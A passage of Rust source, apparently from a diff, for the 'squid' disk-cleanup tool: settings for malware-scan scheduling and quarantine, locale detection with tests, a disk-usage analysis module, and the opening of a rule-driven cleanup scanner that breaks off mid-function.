pub desktop_setup_reviewed: bool,
/// Malware scanning and quarantine. A whole section so an old config keeps
/// working: `#[serde(default)]` above fills this in when the file has none.
pub security: SecuritySettings,
}
/// How often squid runs its own scan while the app is open in the tray.
///
/// `OnLaunch` and the intervals only fire while squid is actually running: there
/// is no daemon, and pretending otherwise would promise a watchdog that is not
/// there. `Manual` is the default because a scan that starts by itself is a
/// surprise the user did not ask for.
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum ScanSchedule {
Manual,
OnLaunch,
Daily,
Weekly,
}
impl ScanSchedule {
pub fn as_str(self) -> &'static str {
match self {
ScanSchedule::Manual => "manual",
ScanSchedule::OnLaunch => "on-launch",
ScanSchedule::Daily => "daily",
ScanSchedule::Weekly => "weekly",
}
}
pub fn parse(value: &str) -> Option<ScanSchedule> {
match value.trim().to_ascii_lowercase().as_str() {
"manual" | "off" | "none" => Some(ScanSchedule::Manual),
"on-launch" | "launch" => Some(ScanSchedule::OnLaunch),
"daily" => Some(ScanSchedule::Daily),
"weekly" => Some(ScanSchedule::Weekly),
_ => None,
}
}
/// How long a scan of this kind must wait before running again, or `None`
/// when it never runs by itself.
pub fn interval_secs(self) -> Option<i64> {
match self {
ScanSchedule::Manual => None,
ScanSchedule::OnLaunch => Some(0),
ScanSchedule::Daily => Some(24 * 60 * 60),
ScanSchedule::Weekly => Some(7 * 24 * 60 * 60),
}
}
}
#[derive(Clone, Debug, Serialize, Deserialize)]
#[serde(default)]
pub struct SecuritySettings {
pub scan_schedule: ScanSchedule,
/// Notify through the operating system when a scan finds something. The
/// in-app banner and the tray state work without this.
pub notify_on_findings: bool,
/// Move confirmed findings into the quarantine without asking. Suspicious
/// ones are never moved automatically, whatever this is set to.
pub auto_quarantine: bool,
/// Download signed rule packs. Off means squid uses only what it shipped with.
pub update_rules: bool,
/// Paths the scan must not read. Separate from `whitelist` on purpose: a
/// folder a person protects from *cleaning* must not silently stop a
/// malware finding from being reported.
pub scan_exclusions: Vec<String>,
/// Findings the user dismissed, as `confidence|path` fingerprints.
pub ignored_findings: Vec<String>,
}
impl Default for SecuritySettings {
fn default() -> Self {
SecuritySettings {
scan_schedule: ScanSchedule::Manual,
notify_on_findings: true,
// Off by default: a security tool that moves files on its own has to
// earn that right first.
auto_quarantine: false,
update_rules: true,
scan_exclusions: Vec::new(),
ignored_findings: Vec::new(),
}
}
}
impl SecuritySettings {
pub fn exclude(&mut self, path: impl Into<String>) {
let path = path.into();
if !self.scan_exclusions.contains(&path) {
self.scan_exclusions.push(path);
}
}
pub fn remove_exclusion(&mut self, path: &str) -> bool {
let before = self.scan_exclusions.len();
self.scan_exclusions.retain(|kept| kept != path);
self.scan_exclusions.len() != before
}
/// Expanded, existing paths, ready to hand a scan.
pub fn exclusion_paths(&self) -> Vec<PathBuf> {
self.scan_exclusions
.iter()
.map(|raw| paths::expand(raw))
.collect()
}
pub fn ignore(&mut self, fingerprint: impl Into<String>) {
let fingerprint = fingerprint.into();
if !self.ignored_findings.contains(&fingerprint) {
self.ignored_findings.push(fingerprint);
}
}
pub fn is_ignored(&self, fingerprint: &str) -> bool {
self.ignored_findings.iter().any(|kept| kept == fingerprint)
}
pub fn unignore(&mut self, fingerprint: &str) -> bool {
let before = self.ignored_findings.len();
self.ignored_findings.retain(|kept| kept != fingerprint);
self.ignored_findings.len() != before
}
}
impl Default for Settings {
fn default() -> Self {
Self {
delete_mode: DeleteMode::Trash,
whitelist: Vec::new(),
disabled_rules: Vec::new(),
purge_roots: vec![
"~/code".into(),
"~/Code".into(),
"~/dev".into(),
"~/Dev".into(),
"~/develop".into(),
"~/projects".into(),
"~/Projects".into(),
"~/repos".into(),
"~/Repos".into(),
"~/src".into(),
"~/work".into(),
"~/Work".into(),
"~/Desktop".into(),
"~/Documents".into(),
"~/.codex/worktrees".into(),
],
purge_min_age_days: 7,
purge_max_entries: 200_000,
show_allocated: true,
language: None,
history_keep: 60,
desktop_setup_reviewed: false,
security: SecuritySettings::default(),
}
}
}
impl Settings {
/// `SQUID_CONFIG_DIR` wins: handy for portable installs, CI, and tests that
/// must not touch the real profile.
pub fn config_dir() -> PathBuf {
if let Some(dir) = override_dir("SQUID_CONFIG_DIR") {
return dir;
}
dirs::config_dir()
.map(|d| d.join("squid"))
.unwrap_or_else(|| paths::home_dir().join(".config").join("squid"))
}
/// `SQUID_STATE_DIR` wins — see `config_dir`.
pub fn state_dir() -> PathBuf {
if let Some(dir) = override_dir("SQUID_STATE_DIR") {
return dir;
}
dirs::state_dir()
.or_else(dirs::config_dir)
.map(|d| d.join("squid"))
.unwrap_or_else(|| paths::home_dir().join(".local/state/squid"))
}
pub fn path() -> PathBuf {
Self::config_dir().join("config.toml")
}
/// Never fails: a broken config file is reported through `errors`.
pub fn load() -> (Settings, Vec<String>) {
let mut errors = Vec::new();
let path = Self::path();
match std::fs::read_to_string(&path) {
Ok(text) => match toml::from_str::<Settings>(&text) {
Ok(settings) => (settings, errors),
Err(err) => {
errors.push(format!(
"{}: {err} (falling back to defaults)",
path.display()
));
(Settings::default(), errors)
}
},
Err(_) => (Settings::default(), errors),
}
}
pub fn save(&self) -> Result<PathBuf> {
let path = Self::path();
if let Some(parent) = path.parent() {
std::fs::create_dir_all(parent).map_err(|e| SquidError::io(parent, e))?;
}
let text = toml::to_string_pretty(self).map_err(|e| SquidError::Other(e.to_string()))?;
std::fs::write(&path, text).map_err(|e| SquidError::io(&path, e))?;
Ok(path)
}
pub fn add_whitelist(&mut self, pattern: impl Into<String>) {
let pattern = pattern.into();
if !self.whitelist.contains(&pattern) {
self.whitelist.push(pattern);
}
}
pub fn remove_whitelist(&mut self, pattern: &str) -> bool {
let before = self.whitelist.len();
self.whitelist.retain(|p| p != pattern);
self.whitelist.len() != before
}
pub fn disable_rule(&mut self, rule_id: impl Into<String>) {
let id = rule_id.into();
if !self.disabled_rules.contains(&id) {
self.disabled_rules.push(id);
}
}
pub fn rule_enabled(&self, rule_id: &str) -> bool {
!self.disabled_rules.iter().any(|r| r == rule_id)
}
pub fn whitelist_matchers(&self) -> Vec<GlobMatcher> {
self.whitelist
.iter()
.filter_map(|raw| {
let expanded = paths::expand(raw).to_string_lossy().into_owned();
Glob::new(&expanded).ok().map(|g| g.compile_matcher())
})
.collect()
}
pub fn is_whitelisted(&self, path: &Path, matchers: &[GlobMatcher]) -> bool {
if self.whitelist.is_empty() {
return false;
}
let text = path.to_string_lossy();
matchers.iter().any(|m| m.is_match(&*text))
}
pub fn purge_root_paths(&self) -> Vec<PathBuf> {
self.purge_roots
.iter()
.map(|p| paths::expand(p))
.filter(|p| p.is_dir())
.collect()
}
}
/// Locale for UI strings; only two languages exist so far.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum Locale {
En,
Zh,
}
impl Locale {
/// Which language the interface should speak.
///
/// 1. `language` in `config.toml` — the user said it out loud.
/// 2. `SQUID_LANG` (also reachable as `squid --lang zh`).
/// 3. `LC_ALL`, `LC_MESSAGES`, `LANG`, in that order — the classic
/// Posix answer, and the reason iTerm2 shows Chinese: it exports
/// `LANG=zh_CN.UTF-8`.
/// 4. The system language, which Terminal.app never puts in the
/// environment. It only exports `LC_CTYPE`, so step 3 has nothing to
/// say there and squid used to fall through to English.
pub fn detect(settings: &Settings) -> Locale {
Self::explain(settings).0
}
/// The language *and* the switch that decided it. `squid doctor` and the
/// interface log print both, because "this terminal is Chinese and that
/// one is English" is a question about provenance, not about the answer.
pub fn explain(settings: &Settings) -> (Locale, LocaleSource) {
explain_with(settings, &|key| std::env::var(key).ok())
}
/// Two-letter tag for reports.
pub fn code(self) -> &'static str {
match self {
Locale::En => "en",
Locale::Zh => "zh",
}
}
}
/// Which knob picked the language.
#[derive(Clone, Copy, Debug, PartialEq, Eq)]
pub enum LocaleSource {
/// `language` in `config.toml`.
Config,
/// One of `SQUID_LANG`, `LC_ALL`, `LC_MESSAGES`, `LANG`, named by the one
/// that answered.
Environment(&'static str),
/// The desktop language that never reaches the environment (macOS
/// keeps it in `defaults`, and Terminal.app exports none of the above).
System,
/// Nothing had a say; English is the fallback.
Fallback,
}
impl LocaleSource {
pub fn describe(self) -> String {
match self {
LocaleSource::Config => "config.toml `language`".to_string(),
LocaleSource::Environment(key) => format!("environment ${key}"),
LocaleSource::System => "system language setting".to_string(),
LocaleSource::Fallback => "built-in default".to_string(),
}
}
pub fn describe_zh(self) -> String {
match self {
LocaleSource::Config => "config.toml 的 language".to_string(),
LocaleSource::Environment(key) => format!("环境变量 {key}"),
LocaleSource::System => "系统语言设置".to_string(),
LocaleSource::Fallback => "内置默认值".to_string(),
}
}
}
/// The documented order, with `get` standing in for the environment, and the
/// name of whatever answered kept next to the answer.
fn explain_with(
settings: &Settings,
get: &dyn Fn(&str) -> Option<String>,
) -> (Locale, LocaleSource) {
if let Some(locale) = settings.language.as_deref().and_then(parse_locale) {
return (locale, LocaleSource::Config);
}
if let Some((key, locale)) = answered_by(get) {
return (locale, LocaleSource::Environment(key));
}
if let Some(locale) = system_locale() {
return (locale, LocaleSource::System);
}
(Locale::En, LocaleSource::Fallback)
}
/// Read one locale token (`zh_CN.UTF-8`, `C`, `POSIX`, `en-GB`).
/// `None` means the token carries no language information, so the search
/// moves on to the next variable instead of answering English by default.
fn parse_locale(raw: &str) -> Option<Locale> {
let token = raw.trim().to_lowercase().replace('-', "_");
if token.is_empty() || is_neutral(&token) {
return None;
}
if token.starts_with("zh") {
return Some(Locale::Zh);
}
Some(Locale::En)
}
/// The C locale and its aliases describe an encoding, not a language.
fn is_neutral(token: &str) -> bool {
token == "c" || token == "posix" || token.starts_with("c.") || token.starts_with("c_")
}
/// The variables that may carry a language, highest authority first.
const ENV_KEYS: [&str; 4] = ["SQUID_LANG", "LC_ALL", "LC_MESSAGES", "LANG"];
/// The first variable that carries a language, named.
fn answered_by(get: &dyn Fn(&str) -> Option<String>) -> Option<(&'static str, Locale)> {
ENV_KEYS.iter().find_map(|key| {
get(key)
.as_deref()
.and_then(parse_locale)
.map(|locale| (*key, locale))
})
}
/// The environment, read through `get` so the rule can be tested without
/// mutating the process.
#[cfg(test)]
fn from_variables(get: impl Fn(&str) -> Option<String>) -> Option<Locale> {
answered_by(&get).map(|(_, locale)| locale)
}
/// Ask the operating system what language the user picked. macOS keeps that
/// in `defaults`, not in the environment, and Terminal.app exports neither.
#[cfg(target_os = "macos")]
fn system_locale() -> Option<Locale> {
for key in ["AppleLocale", "AppleLanguages"] {
let Ok(output) = std::process::Command::new("defaults")
.args(["read", "-g", key])
.output()
else {
continue;
};
if !output.status.success() {
continue;
}
let text = String::from_utf8_lossy(&output.stdout);
// `AppleLanguages` is a property list — ("zh-Hans-CN",) — so the
// first quoted (or bare) token is the preferred language.
for piece in text.split(['"', ',', '(', ')']) {
let piece = piece.trim();
if piece.is_empty() {
continue;
}
if let Some(locale) = parse_locale(piece) {
return Some(locale);
}
}
}
None
}
#[cfg(target_os = "windows")]
fn system_locale() -> Option<Locale> {
use windows::Win32::Globalization::GetUserDefaultUILanguage;
// The environment is not a reliable proxy for the Windows display
// language: Explorer and the Store may run under a different UI locale.
let langid = unsafe { GetUserDefaultUILanguage() };
Some(locale_from_langid(langid))
}
#[cfg(not(any(target_os = "macos", target_os = "windows")))]
fn system_locale() -> Option<Locale> {
// Linux describes the language through the environment, already read by
// step 3 of `detect`.
None
}
/// Windows LANGIDs pack a primary language in the low ten bits.
#[cfg(any(target_os = "windows", test))]
fn locale_from_langid(langid: u16) -> Locale {
const PRIMARY_CHINESE: u16 = 0x04;
if langid & 0x03ff == PRIMARY_CHINESE {
Locale::Zh
} else {
Locale::En
}
}
/// Convenience for reports that want the "freed" number in display units.
pub fn display_size(settings: &Settings, logical: Bytes, allocated: Bytes) -> Bytes {
if settings.show_allocated && !allocated.is_zero() {
allocated
} else {
logical
}
}
fn override_dir(var: &str) -> Option<PathBuf> {
std::env::var_os(var)
.map(PathBuf::from)
.filter(|path| !path.as_os_str().is_empty())
}
#[cfg(test)]
mod tests {
use super::*;
use std::collections::HashMap;
fn env(pairs: &[(&str, &str)]) -> impl Fn(&str) -> Option<String> {
let map: HashMap<String, String> = pairs
.iter()
.map(|(k, v)| (k.to_string(), v.to_string()))
.collect();
move |key: &str| map.get(key).cloned()
}
/// The useful half of the answer is *which* switch said it: the same
/// binary was Chinese in iTerm2 and English in Terminal.app, and every
/// explanation of that starts with where the language came from.
#[test]
fn the_language_names_the_switch_that_decided_it() {
let get = env(&[("LANG", "zh_CN.UTF-8")]);
assert_eq!(
explain_with(&Settings::default(), &get),
(Locale::Zh, LocaleSource::Environment("LANG")),
"iTerm2 exports LANG, Terminal.app does not"
);
let get = env(&[("SQUID_LANG", "en"), ("LANG", "zh_CN.UTF-8")]);
assert_eq!(
explain_with(&Settings::default(), &get),
(Locale::En, LocaleSource::Environment("SQUID_LANG"))
);
let settings = Settings {
language: Some("en".into()),
..Settings::default()
};
assert_eq!(
explain_with(&settings, &get),
(Locale::En, LocaleSource::Config),
"the config file outranks the environment"
);
assert_eq!(
LocaleSource::Environment("LANG").describe_zh(),
"环境变量 LANG"
);
}
#[test]
fn a_locale_variable_picks_the_language() {
assert_eq!(
from_variables(env(&[("LANG", "zh_CN.UTF-8")])),
Some(Locale::Zh)
);
assert_eq!(
from_variables(env(&[("LC_ALL", "zh-Hans-CN")])),
Some(Locale::Zh)
);
assert_eq!(
from_variables(env(&[("LANG", "en_GB.UTF-8")])),
Some(Locale::En)
);
}
/// Terminal.app exports none of these; it only sets `LC_CTYPE`. Treating
/// "anything that is not zh" as English is what made the same build
/// answer Chinese in iTerm2 and English in Terminal.
#[test]
fn the_c_locale_carries_no_language() {
for value in ["C", "c", "POSIX", "C.UTF-8", ""] {
assert_eq!(
from_variables(env(&[("LANG", value), ("LC_ALL", value)])),
None,
"{value} must not decide the language"
);
}
assert_eq!(from_variables(env(&[])), None, "no variables at all");
assert_eq!(
from_variables(env(&[("LC_CTYPE", "C.UTF-8")])),
None,
"LC_CTYPE is not a language"
);
}
/// Empty variables keep the search walking down the list instead of
/// answering on the first blank hit.
#[test]
fn an_empty_variable_does_not_shadow_a_later_one() {
assert_eq!(
from_variables(env(&[
("LC_ALL", ""),
("LC_MESSAGES", ""),
("LANG", "zh_CN.UTF-8")
])),
Some(Locale::Zh)
);
}
#[test]
fn windows_langid_uses_the_primary_language() {
assert_eq!(locale_from_langid(0x0004), Locale::Zh);
assert_eq!(locale_from_langid(0x0804), Locale::Zh, "zh-CN");
assert_eq!(locale_from_langid(0x0404), Locale::Zh, "zh-TW");
assert_eq!(locale_from_langid(0x0409), Locale::En, "en-US");
assert_eq!(locale_from_langid(0x0809), Locale::En, "en-GB");
assert_eq!(locale_from_langid(0x0411), Locale::En, "ja-JP fallback");
}
#[test]
fn squid_lang_beats_the_desktop_locale() {
assert_eq!(
from_variables(env(&[("SQUID_LANG", "en"), ("LANG", "zh_CN.UTF-8")])),
Some(Locale::En)
);
assert_eq!(
from_variables(env(&[("SQUID_LANG", "zh-CN"), ("LANG", "en_US.UTF-8")])),
Some(Locale::Zh)
);
}
#[test]
fn the_config_file_outvotes_everything_else() {
let language = |value: &str| Settings {
language: Some(value.into()),
..Settings::default()
};
assert_eq!(Locale::detect(&language("zh")), Locale::Zh);
assert_eq!(Locale::detect(&language("en")), Locale::En);
let settings = language("");
// Unset means "ask the machine", never "assume English".
assert_eq!(
Locale::detect(&settings),
Locale::detect(&Settings::default())
);
}
#[test]
fn an_existing_config_has_not_reviewed_the_desktop_setup() {
let older = "history_keep = 60\n";
let restored: Settings = toml::from_str(older).unwrap();
assert!(!restored.desktop_setup_reviewed);
}
}

View File

@ -1,23 +0,0 @@
[package]
name = "squid-engine"
version.workspace = true
edition.workspace = true
rust-version.workspace = true
license.workspace = true
description = "squid engines: clean, uninstall, purge and disk analysis"
[dependencies]
squid-core.workspace = true
squid-platform.workspace = true
squid-rules.workspace = true
squid-stats.workspace = true
anyhow.workspace = true
serde.workspace = true
serde_json.workspace = true
rayon.workspace = true
walkdir.workspace = true
globset.workspace = true
crossbeam-channel.workspace = true
chrono.workspace = true
dirs.workspace = true
libc.workspace = true

View File

@ -1,445 +0,0 @@
//! `squid analyze` / the Storage panel — DaisyDisk-style drill-down.
//!
//! The tree is built lazily one level at a time: measure the children of the
//! folder the user is looking at, keep the biggest `top` of them, and fold the
//! remainder into a single "rest" figure. That keeps a first answer on a whole
//! home folder to a couple of seconds while still being exact about the top
//! entries, and it never has to hold a full filesystem tree in memory.
use serde::{Deserialize, Serialize};
use squid_core::fs;
use squid_core::progress::{CancelToken, Progress};
use squid_core::Bytes;
use std::path::{Path, PathBuf};
/// How many children one folder may be measured for before folding the rest.
const CHILD_CAP: usize = 512;
#[derive(Clone, Debug, Serialize, Deserialize)]
pub struct Node {
pub path: PathBuf,
pub logical: Bytes,
pub allocated: Bytes,
pub files: u64,
pub dirs: u64,
pub is_dir: bool,
pub readable: bool,
/// Biggest children first. Empty until [`explore`] ran with depth > 0.
pub children: Vec<Node>,
/// Children that were measured but too small to show.
pub folded: usize,
/// Their combined size.
pub folded_size: Bytes,
/// True when `children` is the complete list.
pub complete: bool,
}
impl Node {
/// On-disk bytes. A sparse directory (a Docker VM image, a Time Machine
/// local snapshot) has a logical size the disk cannot hold, so the
/// allocated figure wins whenever `measure` produced one.
pub fn size(&self) -> Bytes {
#[cfg(unix)]
{
self.allocated
}
#[cfg(not(unix))]
{
if self.allocated.is_zero() {
self.logical
} else {
self.allocated
}
}
}
pub fn name(&self) -> String {
squid_core::paths::label_for(&self.path)
}
pub fn share_of(&self, parent: &Node) -> f64 {
let total = parent.size().as_u64();
if total == 0 {
0.0
} else {
self.size().as_u64() as f64 / total as f64
}
}
/// Children plus a synthetic entry for the folded remainder, so a bar chart
/// always adds up to the parent's size.
pub fn display_children(&self) -> Vec<Node> {
let mut out = self.children.clone();
if self.folded > 0 {
out.push(Node {
path: self.path.clone(),
logical: self.folded_size,
allocated: self.folded_size,
files: 0,
dirs: 0,
is_dir: true,
readable: true,
children: Vec::new(),
folded: 0,
folded_size: Bytes::ZERO,
complete: true,
});
}
out
}
}
#[derive(Clone, Debug, Serialize, Deserialize)]
pub struct FileEntry {
pub path: PathBuf,
pub logical: Bytes,
pub allocated: Bytes,
pub modified_ms: Option<u64>,
}
impl FileEntry {
pub fn size(&self) -> Bytes {
#[cfg(unix)]
{
self.allocated
}
#[cfg(not(unix))]
{
if self.allocated.is_zero() {
self.logical
} else {
self.allocated
}
}
}
}
/// Measure `root` and up to `depth` levels below it.
pub fn explore(
root: &Path,
depth: usize,
top: usize,
cancel: &CancelToken,
progress: &Progress,
) -> squid_core::Result<Node> {
let info = fs::measure(root, fs::kind_of(root));
let mut node = Node {
path: root.to_path_buf(),
logical: info.logical,
allocated: info.allocated,
files: info.files,
dirs: info.dirs,
is_dir: root.is_dir(),
readable: info.unreadable == 0,
children: Vec::new(),
folded: 0,
folded_size: Bytes::ZERO,
complete: false,
};
if depth > 0 && node.is_dir {
expand(&mut node, depth, top, cancel, progress)?;
} else {
node.complete = true;
}
Ok(node)
}
/// Fill one level of `node`, then recurse into the biggest children.
pub fn expand(
node: &mut Node,
depth: usize,
top: usize,
cancel: &CancelToken,
progress: &Progress,
) -> squid_core::Result<()> {
if cancel.is_cancelled() {
return Err(squid_core::SquidError::Cancelled);
}
let entries = match std::fs::read_dir(&node.path) {
Ok(entries) => entries,
Err(_) => {
node.complete = true;
return Ok(());
}
};
let mut kids: Vec<(PathBuf, bool)> = Vec::new();
for entry in entries.flatten() {
let path = entry.path();
let is_dir = entry
.file_type()
.map(|t| t.is_dir())
.unwrap_or_else(|_| path.is_dir());
let mount = is_mountpoint(&path);
kids.push((path, is_dir && !mount));
}
let total_children = kids.len();
if kids.len() > CHILD_CAP {
kids.sort_by(|a, b| b.0.cmp(&a.0));
kids.truncate(CHILD_CAP);
}
progress.phase(
"storage",
format!("measuring {}", squid_core::paths::pretty(&node.path)),
);
let targets: Vec<(PathBuf, squid_core::ItemKind)> = kids
.iter()
.map(|(path, is_dir)| {
(
path.clone(),
if *is_dir {
squid_core::ItemKind::Path
} else {
squid_core::ItemKind::File
},
)
})
.collect();
progress.tick(0, Some(targets.len() as u64), None);
let sizes = fs::measure_all(&targets, cancel, |index, _info| {
progress.tick(
index as u64 + 1,
Some(targets.len() as u64),
targets.get(index).map(|(path, _)| path.clone()),
);
});
let mut children: Vec<Node> = targets
.iter()
.zip(sizes)
.map(|((path, _), info)| Node {
path: path.clone(),
logical: info.logical,
allocated: info.allocated,
files: info.files,
dirs: info.dirs,
is_dir: path.is_dir(),
readable: info.unreadable == 0,
children: Vec::new(),
folded: 0,
folded_size: Bytes::ZERO,
complete: depth <= 1,
})
.collect();
children.sort_by(|a, b| b.size().cmp(&a.size()).then_with(|| a.path.cmp(&b.path)));
let shown: usize = top.max(1).min(children.len());
let rest: Vec<Node> = children.drain(shown.min(children.len())..).collect();
node.folded = total_children.saturating_sub(shown);
node.folded_size = rest.iter().map(|child| child.size()).sum();
node.complete = node.folded == 0;
for mut child in children.into_iter().take(shown) {
if depth > 1 && child.is_dir {
expand(&mut child, depth - 1, top, cancel, progress)?;
}
node.children.push(child);
}
Ok(())
}
/// The biggest individual files under `root` — the "what on earth is 40 GB"
/// answer that folder trees hide.
pub fn largest_files(
root: &Path,
limit: usize,
min_bytes: Bytes,
cancel: &CancelToken,
progress: &Progress,
) -> squid_core::Result<Vec<FileEntry>> {
let mut found: Vec<FileEntry> = Vec::new();
let mut stack: Vec<(PathBuf, usize)> = vec![(root.to_path_buf(), 0)];
let mut visited = 0usize;
progress.phase("files", "collecting the largest files");
while let Some((dir, depth)) = stack.pop() {
if cancel.is_cancelled() {
return Err(squid_core::SquidError::Cancelled);
}
visited += 1;
if visited.is_multiple_of(64) {
progress.tick(visited as u64, None, Some(dir.clone()));
}
if visited > 500_000 {
progress.warning("stopped after 500,000 folders — narrow the search");
break;
}
let Ok(entries) = std::fs::read_dir(&dir) else {
continue;
};
for entry in entries.flatten() {
let path = entry.path();
let Ok(meta) = entry.metadata() else {
continue;
};
if meta.is_dir() {
if depth < 12 && !is_mountpoint(&path) {
stack.push((path, depth + 1));
}
continue;
}
if !meta.is_file() {
continue;
}
let logical = Bytes(meta.len());
if logical < min_bytes {
continue;
}
let allocated = Bytes(allocated_of(&meta));
let modified_ms = meta
.modified()
.ok()
.and_then(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
.map(|d| d.as_millis() as u64);
found.push(FileEntry {
path,
logical,
allocated,
modified_ms,
});
if found.len() > limit.saturating_mul(8) {
found.sort_by_key(|entry| std::cmp::Reverse(entry.size()));
found.truncate(limit);
}
}
}
found.sort_by_key(|entry| std::cmp::Reverse(entry.size()));
found.truncate(limit);
Ok(found)
}
#[cfg(unix)]
fn allocated_of(meta: &std::fs::Metadata) -> u64 {
use std::os::unix::fs::MetadataExt;
meta.blocks() * 512
}
#[cfg(not(unix))]
fn allocated_of(meta: &std::fs::Metadata) -> u64 {
meta.len()
}
/// Skip other filesystems: analysing `/System/Volumes/Data` twice would lie.
fn is_mountpoint(path: &Path) -> bool {
#[cfg(target_os = "macos")]
{
const SKIP: &[&str] = &[
"/System/Volumes/Data",
"/System/Volumes/Update",
"/System/Volumes/Preboot",
"/System/Volumes/iSCPrecovery",
"/System/Volumes/XART",
"/Volumes",
"/dev",
"/proc",
"/sys",
"/run",
"/snap",
"/mnt",
"/media",
];
SKIP.iter().any(|skip| path.as_os_str() == *skip)
}
#[cfg(not(target_os = "macos"))]
{
const SKIP: &[&str] = &["/dev", "/proc", "/sys", "/run", "/snap", "/mnt", "/media"];
SKIP.iter().any(|skip| path.as_os_str() == *skip)
}
}
/// Aggregate the tree into `(label, size)` pairs for a bar chart.
pub fn buckets(node: &Node, limit: usize) -> Vec<(String, Bytes)> {
let mut out: Vec<(String, Bytes)> = node
.children
.iter()
.take(limit)
.map(|child| (child.name(), child.size()))
.collect();
if node.folded > 0 {
out.push((format!("{} others", node.folded), node.folded_size));
}
out
}
#[cfg(test)]
mod tests {
use super::*;
/// One folder per call. A session id is a second stamp plus sixteen bits of
/// clock hash, which two fixtures created in the same microsecond have been
/// known to share — and then one test measured the other's half-deleted
/// tree and wondered why the biggest folder came second. Returns None when
/// an endpoint protector refuses the scratch writes (skip, not failure).
fn fixture(who: &str) -> Option<PathBuf> {
static SEQ: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
let root = std::env::temp_dir().join(format!(
"squid-analyze-{}-{}-{}-{}",
std::process::id(),
who,
SEQ.fetch_add(1, std::sync::atomic::Ordering::Relaxed),
squid_core::ledger::new_session_id()
));
if let Err(error) = std::fs::create_dir_all(root.join("big")) {
if error.kind() == std::io::ErrorKind::PermissionDenied {
eprintln!("skipping: scratch write denied ({error})");
return None;
}
panic!("scratch dir: {error}");
}
std::fs::write(root.join("big/blob.bin"), vec![9u8; 400_000]).ok()?;
std::fs::create_dir_all(root.join("small")).ok()?;
std::fs::write(root.join("small/tiny.txt"), b"hi").ok()?;
std::fs::write(root.join("loose.bin"), vec![3u8; 90_000]).ok()?;
Some(root)
}
#[test]
fn the_biggest_folder_comes_first() {
let Some(root) = fixture("the_biggest_folder_comes_first") else {
return;
};
let progress = Progress::new();
let cancel = CancelToken::new();
let node = explore(&root, 2, 4, &cancel, &progress).expect("explore");
assert!(node.size().as_u64() > 400_000, "{:?}", node);
assert!(!node.children.is_empty());
assert_eq!(node.children[0].name(), "big");
assert!(node.children[0].allocated.as_u64() >= node.children[1].allocated.as_u64());
let _ = std::fs::remove_dir_all(&root);
}
#[test]
fn largest_files_are_sorted_and_capped() {
let Some(root) = fixture("largest_files_are_sorted_and_capped") else {
return;
};
let progress = Progress::new();
let cancel = CancelToken::new();
let files = largest_files(&root, 10, Bytes(1_024), &cancel, &progress).expect("files");
assert_eq!(files.len(), 2, "{files:?}");
assert!(files[0].path.ends_with("big/blob.bin"));
assert!(files[0].size().as_u64() > files[1].size().as_u64());
let _ = std::fs::remove_dir_all(&root);
}
#[test]
fn the_folded_remainder_keeps_the_totals_honest() {
let Some(root) = fixture("the_folded_remainder_keeps_the_totals_honest") else {
return;
};
let progress = Progress::new();
let cancel = CancelToken::new();
let node = explore(&root, 1, 1, &cancel, &progress).expect("explore");
assert_eq!(node.children.len(), 1);
assert!(node.folded > 0);
let shown: u64 = node
.children
.iter()
.map(|child| child.size().as_u64())
.sum();
let displayed = node.display_children();
assert_eq!(displayed.len(), 2);
assert!(shown + node.folded_size.as_u64() > 0);
assert!(!node.complete);
let _ = std::fs::remove_dir_all(&root);
}
}

View File

@ -1,612 +0,0 @@
//! `squid clean` — rule-driven cleanup.
//!
//! The scan walks every enabled rule, expands its globs, measures what it
//! found and returns one flat report grouped by [`Category`]. Two passes keep
//! the cost predictable: matching is cheap (readdir per rule), measuring runs
//! on a thread pool with a progress stream so the UI can fill in sizes as they
//! arrive.
use crate::{age_days, drop_nested_duplicates, size_note, writable_by_us, Engine};
use squid_core::fs::measure_all;
use squid_core::progress::{CancelToken, Event, Progress};
use squid_core::{Bytes, Category, CleanupItem, ItemKind, LockReason, ScanReport, SquidError};
use squid_rules::{PreparedRule, Rule};
use std::collections::HashMap;
use std::path::{Path, PathBuf};
#[derive(Clone, Debug)]
pub struct CleanOptions {
/// Restrict the scan to these categories; empty means "everything enabled".
pub categories: Vec<Category>,
/// Only offer rules the user can actually delete without sudo.
pub skip_admin_rules: bool,
/// Override the per-rule `min_age_days` (0 disables the filter).
pub min_age_days: Option<u64>,
/// Also look for leftovers whose owning app is gone.
pub orphans: bool,
/// Skip measurement (fast name-only scan).
pub fast: bool,
}
impl Default for CleanOptions {
fn default() -> Self {
CleanOptions {
categories: Vec::new(),
skip_admin_rules: true,
min_age_days: None,
orphans: false,
fast: false,
}
}
}
/// Scan every enabled rule.
pub fn scan(
engine: &Engine,
options: &CleanOptions,
progress: &Progress,
cancel: &CancelToken,
) -> squid_core::Result<ScanReport> {
let prepared = prepared_rules(engine, options);
let updates_wanted =
options.categories.is_empty() || options.categories.contains(&Category::UpdateInstallers);
if prepared.is_empty() && !updates_wanted {
return Err(SquidError::NothingToDo);
}
progress.phase("match", "locating cleanup candidates");
progress.tick(0, Some(prepared.len() as u64), None);
let running = engine.platform().running_executables();
let mut report = ScanReport::default();
let mut done = 0u64;
let mut seen: HashMap<PathBuf, usize> = HashMap::new();
for prepared_rule in &prepared {
if cancel.is_cancelled() {
return Err(SquidError::Cancelled);
}
let rule = &prepared_rule.rule;
let matches = prepared_rule.matches();
done += 1;
progress.tick(done, Some(prepared.len() as u64), None);
if matches.is_empty() {
report.skipped_rules.push(rule.id.clone());
continue;
}
let running_conflict = rule_running_conflict(rule, &running);
for matched in matches {
for item in items_for_match(rule, &matched.path, &matched.anchor) {
if !passes_age(engine, rule, options, &item.path) {
continue;
}
if let Some(existing) = seen.get(&item.path) {
// Another rule already claimed this path; remember the
// anchor so both rules can authorise the same deletion.
if let Some(previous) = report.items.get_mut(*existing) {
{
let anchor = &matched.anchor;
if !previous.anchors.contains(anchor) {
previous.anchors.push(anchor.clone());
}
}
}
continue;
}
let mut item = item;
item.anchors = vec![matched.anchor.clone()];
if let Some(reason) = &running_conflict {
item = item
.locked(LockReason::AppRunning)
.with_note(reason.clone());
} else if options.skip_admin_rules
&& rule.needs_admin
&& !writable_by_us(&item.path)
{
item = item.locked(LockReason::NotOwned).with_note(format!(
"needs admin rights — {} to include it",
squid_core::elevation_hint()
));
} else if engine.is_whitelisted(&item.path) {
item = item.locked(LockReason::Whitelisted);
} else if let Some(reason) = engine.block_reason(&item) {
